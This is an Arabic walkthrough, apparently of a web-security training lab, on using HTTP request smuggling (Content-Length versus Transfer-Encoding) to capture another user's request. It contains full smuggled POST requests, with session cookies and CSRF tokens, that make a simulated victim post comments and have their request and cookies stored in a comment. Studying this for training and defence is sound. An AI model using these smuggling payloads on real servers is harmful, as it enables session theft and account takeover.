> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ar/web/request-smuggling/capture-queries-from-other-users.md).

# التقاط الاستعلامات من المستخدمين الآخرين

### استغلال تهريب طلبات HTTP لالتقاط طلبات المستخدمين الآخرين

يقوم المختبر بإعداد خادم للواجهة الأمامية وخادم للواجهة الخلفية. الواجهة الأمامية **لا يدعم ترميز الأجزاء**. / الهدف هو أن **المهرِّب** طلبًا إلى الواجهة الخلفية بحيث **طلب المستخدم التالي** هو **المخزَّن بواسطة التطبيق**. / ثم، **استعادة هذا الطلب** واستخدام **ملفات تعريف الارتباط الخاصة بالضحية** للوصول إلى حسابه.

يحاكي المختبر مستخدمًا ضحية: بعد إرسال بعض طلبات POST القليلة، ينفذ الضحية طلبه الخاص. / أحيانًا يكون من الضروري تكرار الهجوم عدة مرات.

> على الرغم من أن المختبر يسمح بـ HTTP/2، يجب أن يستخدم الحل **HTTP/1** لأن بعض التقنيات لا تكون ممكنة إلا في هذا البروتوكول. " " تفسّر الواجهة الأمامية **Content-Length**، بينما تتعامل الواجهة الخلفية مع **Transfer-Encoding: chunked**، مما يخلق انزياحًا قابلاً للاستغلال. " " يمكن لإضافة Burp ‏HTTP Request Smuggler المساعدة في تصحيح الأطوال يدويًا.

#### 1. **الطلب المفسَّر بواسطة الواجهة الأمامية**

تقرأ الواجهة الأمامية `Content-Length: 13`، ثم ترى أيضًا `Transfer-Encoding: chunked`:

```http
Content-Type: application/x-www-form-urlencoded
Content-Length: 13
Transfer-Encoding: chunked

0

postId=6
```

بعد نهاية الجزء (`0`، تتم إضافة طلب إضافي إلى الواجهة الخلفية.

<figure><img src="/files/4451b367df2eadcf1b72e1a8c877f2c73f5c0e68" alt=""><figcaption></figcaption></figure>

#### 2. **حقن طلب POST لنشر تعليق**

تنشئ طلبًا مُهرَّبًا يحتوي على طلب ثانٍ كامل:

```http
POST / HTTP/1.1
Host: 0a36007e032121be824c43d100150069.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 285
Transfer-Encoding: chunked

0

postId=6
POST /post/comment HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Cookie: session=jjCIZY2wVTQVhJ6tfWqnEV3pftTw4Rus
Content-Length: 130
csrf=MWV1glEz7sP3FB0WKoGENl7Jk7EvMoqA&postId=6&comment=test&name=test&email=test%40test.com&website=http%3A%2F%2Ftest.com
```

النتيجة:/ يُعامَل الطلب المُهرَّب كما لو أنه جاء من جلستك الخاصة، ويقوم التطبيق بنشر التعليق.

<figure><img src="/files/bc533bccaa55b91e21f5362eebb72bdab465427c" alt=""><figcaption></figcaption></figure>

#### 3. **إجبار الضحية على نشر تعليق**

تُعدّل النص إلى:

{% code overflow="wrap" %}

```http
csrf=MWV1glEz7sP3FB0WKoGENl7Jk7EvMoqA&postId=6&comment=HackedByJordan&name=test&email=test%40test.com&website=http%3A%2F%2Ftest.com
```

{% endcode %}

```http
POST / HTTP/1.1
Host: 0a36007e032121be824c43d100150069.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 287
Transfer-Encoding: chunked

0

POST /post/comment HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Cookie: session=jjCIZY2wVTQVhJ6tfWqnEV3pftTw4Rus
Content-Length: 134

csrf=MWV1glEz7sP3FB0WKoGENl7Jk7EvMoqA&postId=7&comment=HackedByJordan&name=test&email=test%40test.com&website=http%3A%2F%2Ftest.com
```

وترسل طلبًا مشابهًا. / عند إعادة التحميل، يعرض التطبيق **شكرًا على تعليقك**، مما يشير إلى أن الضحية نشرت هذا التعليق.

<figure><img src="/files/7e2fad270d20b9dd108e7fe09f8954997b5257a0" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/f223c8e4fb2a0e083c5e0e3dd06e7f8369f39d55" alt=""><figcaption></figcaption></figure>

#### 4. **إعداد التقاط طلب الضحية**

لالتقاط الطلب الكامل للمستخدم الضحية، تزيد كثيرًا من `Content-Length` بحيث تستهلك الواجهة الخلفية الطلب التالي كمحتوى:

```http
Content-Length: 1000

csrf=MWV1glEz7sP3FB0WKoGENl7Jk7EvMoqA&postId=4&name=test&email=test%40test.com&website=http%3A%2F%2Ftest.com&comment=HACKED
```

يتم امتصاص الطلب التالي الذي يرسله الضحية بعد ذلك داخل النص المتوقع... / ويصبح **قابلًا للاطلاع في مخزن التطبيق**.

<figure><img src="/files/c7d1840dc3cd45df7fc59065f5d11e6c8323a745" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/ar/web/request-smuggling/capture-queries-from-other-users.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
